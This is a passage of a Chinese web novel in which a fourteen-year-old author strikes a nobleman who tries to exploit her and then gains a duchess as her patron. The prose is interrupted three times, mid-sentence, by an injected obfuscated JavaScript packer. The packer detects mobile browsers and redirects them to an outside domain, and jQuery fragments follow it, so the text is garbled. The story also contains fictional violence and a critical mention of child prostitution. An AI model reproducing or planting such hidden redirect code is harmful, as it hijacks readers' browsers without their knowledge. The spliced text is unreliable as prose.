他以为锁住一个女人,她就会安静,顶多拍拍门发发疯,万万没想到女人会踹门。
她疯了!
“你快停下!”
砰!
随着她第三脚落下,门咣当一声开了,暴力毁坏的锁掉在地上,实木门仍然结实,半挂在门框上苟延残喘。
男仆目瞪口呆,回不过神来。
远处传来越来越近的脚步声,戴安娜整理好裙子,直起腰看向男仆:“到时候我就说你把我锁起来,你肯定保不住工作了,还赔不起这扇门,怎么办?”
这家规矩很严,女仆摔碎一个盘子都会被解雇,因为他弄坏了一扇门,那他的下场……
男仆顺着她的话想了想,面目陡然狰狞:“你这个……!”
“好了,这边的事我会和美地奇说的,”拐角处走过来的中年男人说,“先给我们找个安静说话的地方吧。”
“是。”
男仆敢怒不敢言,瞪了戴安娜一眼在前方带路。
先前那个房间只有20平左右,这间屋子乍一看很宽敞,得有60平,地上铺着精致的羊毛地毯,角落里摆放着钢琴和小提琴,墙壁贴着精美的壁纸,还挂着少年撑伞的油画,两面窗帘都拉着,看不到外面的黑夜。
“戴安娜小姐,请这边坐。”中年男人坐在沙发上,目光投向她。
她走过去,在他对面坐下,面前的茶几上还放了几本书。
之前待的是普通人的休息室,这才是贵宾的待遇,想干点什么都行。
“你就是乔治·格雷?”
“正是鄙人,想见戴安娜小姐一面真不容易。”
“有什么不容易的?你只要吓唬吓唬当顿,他不就什么都说了?”
格雷没有否认,笑着说:“你似乎对我有很大的敌意?我其实并无恶意,只是读你的书,仰慕你的才华,想见你一面,聊一聊你的怪谈,就和大多数人一样,说不定我可以出钱资助你出书。”
“叽里呱啦地说什么呢?听不懂。”戴安娜站起身,走向钢琴的方向。
格雷并没有因她的无礼而动怒,她的这些行为恰恰说明她思想不成熟,还是个小孩子。
小孩子有什么难以压制的?
虽然戴安娜的身高和长相都令他失望,但性格倒是勾起他的征服欲。
她将连载和出版的事务全部委托给约翰·当顿,像这种小孩,一定不知道甩开那个中间商,她能赚多少
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792464|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吧?
他扬起自信的笑容,也站起身,目光追随着戴安娜的背影,正要开口,却听她继续说:“我只知道在彼得堡的伎院里,老鸨以五英镑售卖13岁孩子的初夜,你连这个钱都出不起。”
安娜为她奔走的时候,她也没闲着,跑到斯宾塞庄园外面和玛姬见了一面。
她对乔治·格雷也不了解,问了别人才掌握到一条情报。
被朱莉莎送去见上帝的甥男跟别人聊天时,嘲讽乔治·格雷的落魄,一个童伎都买不起的人逛什么伎院。
一个假设产生,这个人对她的人和写作能力都没什么兴趣,看中的是她的赚钱能力。
善良的人不愿意将人想得太坏,想不到这茬上。
但戴安娜最痛恨的就是给男人赚钱,所以一动脑子就想到了。
而且,她认为她判断无误。
她提着小提琴转过头,嘴角上扬,眼睛里却迸发出寒光。
“是不是真的?”
格雷的脸颊痉挛了两下,声音也冷了下来:“你在胡说八道什么?你怎么能说那种话?轻浮!放荡!”
“下流的事你们都做了,我说说又怎么了?难怪泰晤士报上说现在伦敦道德败坏,都是你们这种人带坏了社会风气。”
荒谬,太荒谬了。
他竟然被个小女孩指着鼻子骂。
他这一生还从没有经历过这种事。
当即撕下绅士的面具,由于戴了太久,面具撕一半留一半,脸上表情一半和蔼一半阴冷。
“泰晤士报?都是一群道貌岸然的家伙,你为他们说话,以为就能得到他们的认可了?别做梦了,在他们眼里,你不配和他们站在同一个高度,你也是他们批评的对象。
“还有你的家人,你住在赫特福德郡的乡下是吧?对对对,乡下人总是很淳朴的,但再淳朴知道表面上文文静静的你,私底下在书里写杀人和□□,会怎么看你?怎么看卢卡斯爵士?”
“我不在乎。”
格雷怀疑自己的耳朵,“你说什么?”
“我不在乎别人的目光,也不在乎别人怎么看我的家人。”
格雷还在反应,戴安娜已经平举起右手,看了看那小提琴,高高举起猛地挥下,对准格雷的脑门砸下去。
当场就见了血,他被砸倒在地。
戴安娜眼里闪过兴奋的光,上前一步,继续往下砸,断裂飞溅的木屑划过她的侧脸,立刻出现一条血痕。
“我说,我不在乎,我写了一篇文章,假如我没有走出这里,明天就会被寄给泰晤士报,以拉赫昂·希耶尔的名义,你猜你爹格雷伯爵看到会怎么想,他的政敌看到会怎么想?”
啪嗒一声,琴身断裂,戴安娜漠然垂眸,提着半截琴身走到格雷的脑袋旁边,看着他惊恐的脸,笑着说:“现在该你做选择题了,要不要揭发我?说我打了你一顿?”
格雷连疯子都不敢骂。
戴安娜见威慑成功,也不多做停留,大踏步走向正前方的窗帘,刷得一声反手拉开窗帘。
她动手时听到这边的呼吸声了。
窗帘后面是一扇漂亮的飘窗,铺着雪白的羊毛毯,摆放着橘黄色的柔软靠垫,一位穿着华丽,盘着头发的贵族坐在上面,迎着她的目光,撑着气势说:
“你还想把我也打一顿吗?”
22.规则怪谈(二十二)
哇哦,她还以为躲在这的是打扫的女仆,因为种种原因被她们堵在这,出不去。
原来竟是一位金主妈妈的候选人吗?
穿着纯白色的长袖宽领白裙,脖子上带着镶嵌红宝石的项链,长发盘起,用两枚葡萄样式的发饰固定,上面的金叶脉络分明,圆润的红宝石簇拥在一起伪装葡萄,耳饰是发饰的缩小版,一看就是成套的首饰。
她估不出数,但一看就很有钱。
居然被她听到了,真是败笔。
须臾间有了谋算,她后退半步,双手背到身后,笑着说:“您说笑了,我怎会如此对待值得尊敬的人呢?”
金主妈妈候选人抽了抽嘴角:“你尊敬我?你甚至不对我行礼。”
戴安娜如梦方醒,丢掉小提琴的残骸,行礼。
她不满意:“这是什么礼?”
啊?不对吗?
戴安娜低头一看,正经的蹲礼是屈膝,然而她的蹲礼还加入了双手交叠置于左腹前的动作。
这是部分万福礼。
她这知识都学杂了。
“圣奥尔本斯夫人,救救我,她、她疯了。”
戴安娜手忙脚乱调整姿势时,身后传来格雷气若游丝的求救声,她心中再次升起戾气,抬起头看这位夫人的反应。
幸好她没有对他表露出同情,她理所当然地吩咐戴安娜:“你去告诉女仆一声,叫府邸的医生来,就说格雷先生摔了一跤。”
戴安娜眼睛一亮,愉快地应了下来,仍有意识的格雷不可置信,勉强坐起身,捂着一脑门子血叫道:“圣奥尔本斯夫人!”
哈利奥特垂下眼皮,轻蔑地扫他一眼。
她憎恶上流社会作风混乱的男人,怎么可能帮他?
“安静点,先生,格雷伯爵虽然任职首相,但下议院还在托利党手里,眼下正是他提议提前大选的关键时刻,你也不想出现什么丑闻吧。”
格雷不说话了。
他不懂,他只是想找个会写作的情人,能源源不断从她身上摇下来金子,威逼利诱一番就能得逞,她不服从,还敢反抗。
这是什么道理?
哈利奥特看不上他,目光投向虚掩的门,门旁边是贴着金色壁纸的墙壁,戴安娜靠在上面,听到她的话,舒了一口气,乔治·格雷的事算是解决,她放心地找人。
这家的主人跟着医生急匆匆赶过来,看到格雷的伤势都吓了一跳,这能是摔的?中间折断的小提琴又是怎么回事?
哈利奥特一一糊弄过去,格雷见识到戴安娜掀桌子的能力,畏惧她真的利用自身的名气搞事情,憋屈地闭口不言。
11点,晚宴结束。
在登上圣奥尔本斯公爵家的敞篷四轮豪华马车之前,戴安娜找到艾丽斯,双手叉腰,自豪地说:“告诉安娜,今晚我不回家了。”
艾丽斯的眼睛微微睁大:“你竟然真的能在宴会上找到资助者,看来出书是指日可待了,你的笔名是什么,等你出书了,我也买一本看看。”
未来的作家伪装成女仆搭乘她的马车来到宴会上寻找资助者,这算是她枯燥生活中值得回味的新鲜事。
也是浪漫的夜晚,她很好奇与她邂逅的作者会写什么。
戴安娜想了想,笑着回答:“你以后就会知道了。”
这更像是敷衍。
艾丽斯鼓起脸颊,轻哼一声,本来还想跟她说一说与圣奥尔本斯夫人相处要注意的问题。
比如这位夫人是私生子出身,在与大银行家结殙之前不过是个巡回剧团里管理衣服的小员工,说话时要注意不要流露出对这职业的看不上,更不要对二殙表示偏见。
要尊重她,她妈妈说过,乍然得到权势的人最忌讳别人提起她的过去。
现在她什么都不想说,扭头就走。
直到拉赫昂的规则怪谈第三部《轮回》不在《淑女通讯》上连载,反而投向了圣奥尔本斯夫人新买下的出版社,她才明白过来,那个穿着女仆装,跳上她马车的作家是谁。
圣奥尔本斯是赫特福德郡治下的一镇,哈利奥特的家就在那里,社交季期间没必要回去,马车平稳地开向位于伦敦的豪宅。
哈利奥特打量对面的戴安娜,皱了皱眉,想起她的自我介绍,声音有些严厉:“等回到庄园,你就换上我的衣服,好歹是爵士的孩子,穿成这样像什么样子。”
“好的呢。”
她表情顺从,声音乖巧,也没有用看似解释实则顶撞的度说她这么穿是有原因的。
哈利奥特喜欢这样的孩子。
下一刻就想起她是如何用小提琴殴打格雷先生的,之后就是这样的表情,纯良无害的脸上写着“刚才那个不是我哦”。
“好了,别这样,太刻意了,”她冷声说,“你一点都不害怕吗?你怎么敢去打乔治·格雷的?”
“因为我早就有觉悟,必须反抗,一丝一毫不能妥协,一个好脸一句好话都不必给。结果您也看到了,离开逆来顺受这把伞,外面根本就没有雨,可以说一切风雨都是逆来顺受带来的。”
哈利奥特不得不承认她说得是对的,她走到这个地位,也有过绝不妥协的时刻。
她对戴安娜产生了亲切感。
“不聊这些了,他不敢再惹你,聊聊你擅长的,你是出于什么目的创作规则怪谈的?”
戴安娜捂住嘴里发出的小小惊呼:“您也看过我的小说吗?真是我的荣幸,可是当顿没有说过他拒绝的访客里有您。”
哈利奥特不悦地屈指,敲敲窗框:“没事的时候打发时间,偶尔看看,回答问题。”
“咳咳,”戴安娜干咳两声,正色道,“仅从创作的角度来看,是因为规则怪谈是人们会喜欢的题材,同时也很适合女性主角大展拳脚,这个现实就是一场大型的规则怪谈,每一个女性都这里求生。”
哈利奥特下意识皱眉:“你将女性说得太可怜了,难道男人没有艰难求生吗?”
“事实本就如此,我们该承认,男人抬起头,看到的是阶级压在自己身上,女人抬起头,看到的是男人和阶级一起压在自己身上,两者所受到的规训数量不能等同。”
“我是圣奥尔本斯公爵夫人,没有男人能欺压我。”
“哦,那你怎么不进
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801877|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
入上院呢?”
“……”
戴安娜一脸单纯,追问:“是不想吗?”
哈利奥特诧异不已,一改平静的声调,“你还想女人进入上下议院吗?这是何等疯狂的想法?”
“当个议员怎么了?女人还能当首相呢。”
哈利奥特一噎。
瞧她那理所当然的样子,似乎没有意识到她说出多么惊人的话语。
她沉默了半天,冷风吹得她打寒颤,默默拢紧披肩,戴安娜取下大围裙递给她,迎着她不理解的目光,解释道:“您要不要裹上点?”
“……不必了,”她拒绝,“所以你认为无论是平民还是富商,亦或者是贵族,女性都备受压迫?”
“对,所以她们是天生的规则怪谈主角,一想到她们,我就充满了灵感。”
“很新奇的想法,这些话别对其余夫人说,她们恐怕会笑死,我们可不需要你来可怜。”
上流社会的女人可怜?不,上流社会女人的快乐,她一个乡下爵士的孩子根本想象不到。
她抬起下巴,伦敦最好的裁缝制作的裙子为她的高贵增色,最昂贵华丽的珠宝彰显着她合情合理的傲慢。
戴安娜不与她争论,“好的呢。”
哈利奥特火冒三丈,她不能接受现在的生活在一个小孩面前是不圆满的。
不过她也没必要太在意无知之人的看法。
翌日,哈利奥特带她参观她的衣柜和珠宝。
在这个年代可以参观别人的庄园,但衣柜和珠宝还是偏私人了点吧?
难道说夫人将她当成自家人了?
哈利奥特说裙子如何如何,宝石如何如何,戴安娜就在想这个问题。
行吧,虽然有点浪费时间,但是夫人喜欢就陪着她。
哈利奥特曾经是戏剧演员,善于观察,自然看出戴安娜不是真的喜欢,只是迎合她。
不免惊疑不定,还真有对华服和珠宝不在意的人?
不确定,再看看。
挑了五件裙子,再搭配上两套珠宝,提出送给戴安娜,戴安娜推辞了一句,她的态度坚决,戴安娜就收下了。
哈利奥特刚刚气顺了点,就听到这古怪的小孩问。
“我能卖出去吗?”
哈利奥特扭头就走:“你别要了。”
戴安娜挠挠头,快步追上去。
哈利奥特没有反对,走了一会,放慢刻意加快的脚步,问:“你不喜欢它们吗?”
“不喜欢。”
“它们不够华丽?”
“不,是它们没用,对我没用。”
“没用?你就没想过你穿戴上它们会多么美丽吗?你第一次参加舞会,如果穿上这一身,所有人都会为你倾倒。”哈利奥特不明白,在她落魄的时候,要是有人能送她这些,那她就什么都能做。
戴安娜轻笑一声:“美丽?我若爱美,我就将它们送给别人,让我的双眼能看到,没有必要折腾我自己,我又不能时时看到。”
哈利奥特若有所思:“所以海伦也不喜欢珠宝,你在轻视追求华服珠宝的人吗?”
23.规则怪谈(完)
行走在安静的长廊中,戴安娜侧头看向哈利奥特,原本想要用双手抱住后脑,摸到女仆给她盘好的头发便放下了。
“轻视?”她轻声品味着,“如果我说是呢?”
哈利奥特斜睨她:“虽然谁也不在乎你的轻视,但这就是你的不对,你得改了。”
“女士,您喜欢看小说吗?”
“我要是不看,你就不会站在这里。”
戴安娜心说,哈利奥特对她一句一怼,看来火气没有全消。
尽量委婉一些吧。
“那您应该知道某些小说里是如何形容这类人的,‘只知道珠宝和化妆品,脑袋空空的女人’或者‘她们的脑子里塞满了稻草,争抢、攀比华美的服饰’……”
“愚蠢的偏见,无需理会。”哈利奥特厉声打断。
“是的,但他们的故事情节写得还不错,你看到他们夹带这些羞辱女性的私货,也不过是放下书骂一句,好奇心驱使着你继续读下去,什么也改变不了。”
给哈利奥特气笑了,“你的意思是你也不会改变?”
“不不不,您误会了,就算低女不暴力,高女不夺权,而是将精力花费在一些装点自己的小玩意上,我也不会在小说里辱骂她们,您仔细想想,是不是?”
哈利奥特不需思考就能给出答案,确实没有,她读完拉赫昂的小说还感慨过,没有任何让她不适的用词,也绝无轻视和辱骂的言语。
那是很舒服的阅读体验,主角海伦将她想说却不能说的话全都大声说出来,更爽的是没有任何不好的后果。
哈利奥特不愿说出真实感受,她敢肯定,这天不怕地不怕的小孩气焰会更加嚣张,便含糊说了一句算是吧。
戴安娜随棍而上,双手一摊:“可她们还不满意,抓住我书中一些揭露男人真面目的词句写信给我,让我不要以偏概全,我回信问她们有没有写信给男作者,要他们别以偏概全,她们不回答,下次来信换了个更巧妙的角度,问我要成为那种人吗?那跟他们有什么两样,呵,那点口才和心眼都用来对付我了。”
想想就不爽,这天天被人当成软柿子来捏的一生。
哈利奥特听得入神,听到来信的内容颇为懊悔,真是个不错的问题,她刚才应该这么问她的。
听到最后一句来了兴趣,停下脚步问:“哦?那你是如何回信的?”
在她看来,这是无可反击的话。
“很简单,我说拿破仑打到奥地利,打到普鲁士,这两个国家的军民就不该拿起武器反击,否则跟法国人有什么两样?”
“这怎么一样?”
“哪里不一样,道理再简单不过。”
你杀我的人,那我就杀你的人。
你羞辱我,那我就羞辱你。
道理是在双方都付出代价之后,难以承受代价时才坐下来谈一谈。
而不是对方刺了你一剑,你委委屈屈地说你是错的,更不应该在友方还他一刀的时候,扑上去拉偏架拖后腿,指责友方的错误。
哈利奥特久久没有言语。
如果别人说这种话,她根本不放在心上,说大话,将一切想得太简单,可是戴安娜已经让她看到她的做法。
她昨日赴宴,突感不适,美地奇夫人安排房间供她休息,她坐在飘窗上,拉上窗帘,享受着狭小空间的安全感,倒是让人以为这间房子里没人。
因此格雷和戴安娜的话,她从头听到尾。
那就是成年男人威逼利诱小孩的话术,只不过戴安娜没惯着他,抄起小提琴给他开了个瓢。
除去一开始的震惊,冷静下来想想这是个一劳永逸的好办法。
不然格雷绝对会像听不懂别人的拒绝一样死缠烂打。
她的话语与行为和思想是一致的,没有哗众取宠。
哈利奥特叹了口气,转身推开书房的门。
“进来吧,孩子。”
这间书房比安娜家的大十倍不止,书架占满墙壁,书又塞满书架,两扇剔透的窗户放进来明媚的日光,正好照在地毯上的两组白底粉花的油画风沙发上。
戴安娜在哈利奥特的指示下落座,左右看看,目光盯着书架前她的背影,没过去两秒,她就抽出了书,拿着回来,坐在戴安娜身边。
“其实我一直不相信一个年仅十二岁,哦,你现在也才十四岁,你这样年纪的小孩能写出《规则怪谈》,能塑造出海伦·伊莱恩这样的主角。
“现在,我有点信了。跟我说说这两本书吧。”
戴安娜欣然同意。
可能是没有网络的关系,这个时代的人倾诉欲无处宣泄,遇上喜欢的作品,更会给予极大的热情。
哈利奥特的书上满是批注,她会指着一个情节问戴安娜是怎么想的,写得太好了,也会指着某个人问戴安娜为什么写死他,在得知那就是个小炮灰时不太高兴。
戴安娜对这个流程很熟练。
她的读者来信经常有这种问题。
上一次见到类似的场景,还是青山的漫画家访谈节目上。
人们喜爱某一部作品,自然而然在乎作者创作的心路历程,猜到了就很开心,作者根本没在乎那个点就有些失落。
她们畅聊了一整天。
戴安娜边回忆边说:“我最开始写规则怪谈的时候,没想过第二部,但天天跟我吵架的那家报纸连载规则怪谈,还说他才是真正的规则怪谈作家,我就很不甘心,开始写中式怪谈,到现在构思规则怪谈已经成为惯性,我应该会写到第三部。”
“第二部叫柴薪,第三部叫什么?”
“轮回。”
哈利奥特满足了好奇心,又起了让她画画的念头,第二部有个场景是海伦踏上通往天空的阶梯,凡尘都在她脚下。
寥寥几笔引得她无限畅想,那值得一张插画。
戴安娜说她也很喜欢那个画面,就是懒得画台阶,也觉得没什么挑战性,所以画了另一幅。
不过既然未来的金主妈妈喜欢。
笔来,纸来。
从沙发转战书桌,戴安娜拿着哈利奥特的笔,刚要在白纸上作画,突然停住,右手晃了晃。
“好轻啊。”
她用惯了机械铅笔,铅虽然轻,但外面的机械可不轻,这支笔为什么这么轻?
哈利奥特坐在书桌旁边的沙发椅上,单手支着下巴,好奇心被满足的她神态慵懒,摆了摆左手:“金子当然很轻。”
“金子?”戴安娜看看笔,再看看她,目光惊疑不定。
哈利奥特缓缓直起身体。
面对乔治·格雷,她坚毅果决。
面对从天而降的天价首饰,她从容平静。
谈起自己的作品更是信手拈来。
这还是头一次露出世界观受到冲击的表情。
“材质是9k金,重大概0.2盎司,顶端镶嵌血滴石,怎么了?”
说罢,兴味盎然地盯着她。
戴安娜倒吸一口冷气。
不是,一支笔都用9k金?还要镶嵌宝石?
0.2盎司等于多少克来着?会比圆珠笔重吗?
脑子里的想法变来变去,最后只剩下一个。
跟你们有钱人拼了!
哈利奥特看她悲愤的模样心情大好。
她好不容易从小小的巡回剧团走进公爵庄园,期待全世界对她的赞赏和羡慕,可戴安娜一副“你公爵夫人又怎么样?进不了议会就是可怜”,想想就恼火。
放在平常,这样的人根本入不了她的眼,可偏偏她是《规则怪谈》的作者,叫人又爱又恨。
这下好了,她抓住她喜欢的奢侈品了。
“像这样的笔,我还有好几支。”
“你不要说了。”
哈利奥特心中升起微妙的不服,“你要是收下那些珠宝,10支这样的笔都买得起。”
戴安娜抬起荷包蛋般的泪眼:“可是你不同意我转卖。”
哈利奥特愣了愣,移开视线:“既然你喜欢,那我就送给你。”
“谢谢!”戴安娜赶紧谢恩。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803416|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
跟你们有钱人亲了!
“……请跟我客气一下。”
戴安娜眯着眼睛笑了,拿着新到手的金笔作画。
哈利奥特没在意,以她百万英镑的身价,给一支金笔难道还需要玩“我可以主动给,你不能主动要”那一套吗?
她没那么抠。
她还想说,很多疯狂追求华服项链的人不全是为了装点自己,有很大原因是不被允许持有土地和产权,珠宝是她们唯一能够合法持有的财产。
看着那张兴奋的面孔,她没开口,就算说了,戴安娜估计还会说连你们这样的人都被逼到这种地步,你们是怎么睡得着的?
戴安娜不喜欢珠宝,因为她用不上,但她真的喜欢这支顶端镶嵌血滴石的金笔,这是她每时每刻都要用的东西。
其实那些花大量时间精力打扮自己的女人和为了一支金笔而兴奋的她也没什么不同。
她们美丽的容貌和她手中更轻的铅笔都是谋生的工具。
工具更好用,谁都会感到高兴的。
她的心中快速闪过这些念头,甩甩头扔出脑海。
拿到新笔,作画的速度仿佛也有了加成,没让哈利奥特等太久,海伦登天阶的画就完成了,只需要修修细节。
不过哈利奥特很满意,非要说有什么不足,那就是没有色彩。
“你会用水彩吗?”
“不会。”
她上辈子是铅笔到数位板。
“想学吗?我找人教你。”
戴安娜倒无所谓,上辈子学语数英史地政物化生,这辈子学钢琴缝纫小提琴写作水彩,谋生的手艺,多学一个总没坏处。
做完这件事,她们在宽敞豪华的起居室里吃点心。
戴安娜正好饿了,蘸着草莓酱一口一个司康,没见过的管家敲门进来,低声对正喝茶的哈利奥特说了什么,她点点头,接过一堆文件,低头一张张翻着看。
“舰队街的一家报社经营不善,我买了下来,专门负责你的新书出版,你还有什么需求吗?”
干饭的戴安娜:“啊?”
这、这就是富婆吗?
吃喝谈笑间买下一家报社。
这还没完,哈利奥特随手丢了个雷——叫律师拟个合同,出书得来的钱,她一分不要,全都归戴安娜。
戴安娜头脑发晕,连忙摆手拒绝。
“拿着吧,你出版一本书不过能赚一两千英镑,算上印书也不是大钱,就当是你那幅画的酬劳。”
她放在银行里的钱,单单是利息就是她的二十多倍,没必要分戴安娜那三瓜俩枣。
戴安娜觉得不妥当,但还是忍不住顺着她的话算一笔账。
假如她一年出版一本书,每本能赚1000英镑,那她五年就可以攒够给夏洛特养老的钱,十年能攒够给玛利亚的,十五年能攒够给海伦的……
她还可以请两个女仆和一个厨师,不让妈妈和夏洛特再终日辛苦做家务,发展她们的个人爱好。
天哪!
这就是巴尔扎克和卢梭的快乐吗?
她当即像弹簧般从沙发上弹起来,大声道:“对不起,我今天,不,昨天对您太大声了。”
哈利奥特斥责:“别那么浮躁。”
虽然是呵斥,但嘴角压不住地上扬。
戴安娜的服软,她很受用。
但嘴上不饶人,调侃道:“你那视金钱如粪土的气概呢?未来的大作家。”
戴安娜面不改色:“气概岂是如此不便之物?”
谈笑完了,戴安娜还是表明就算不五五分成,也二八、三七的意思一下。
哈利奥特毕竟不是她什么人,白白拿钱,只会削减她的好感度。
能走到公爵夫人这个位置上的人,不是看不出她的顾虑,说她会考虑,心里对戴安娜更加看重。
得到金主妈妈的资助,戴安娜算是了了一桩心事,她在伦敦就只剩下一件事,和待了两年的《淑女通讯》说再见。
做完这件事,就可以回家了。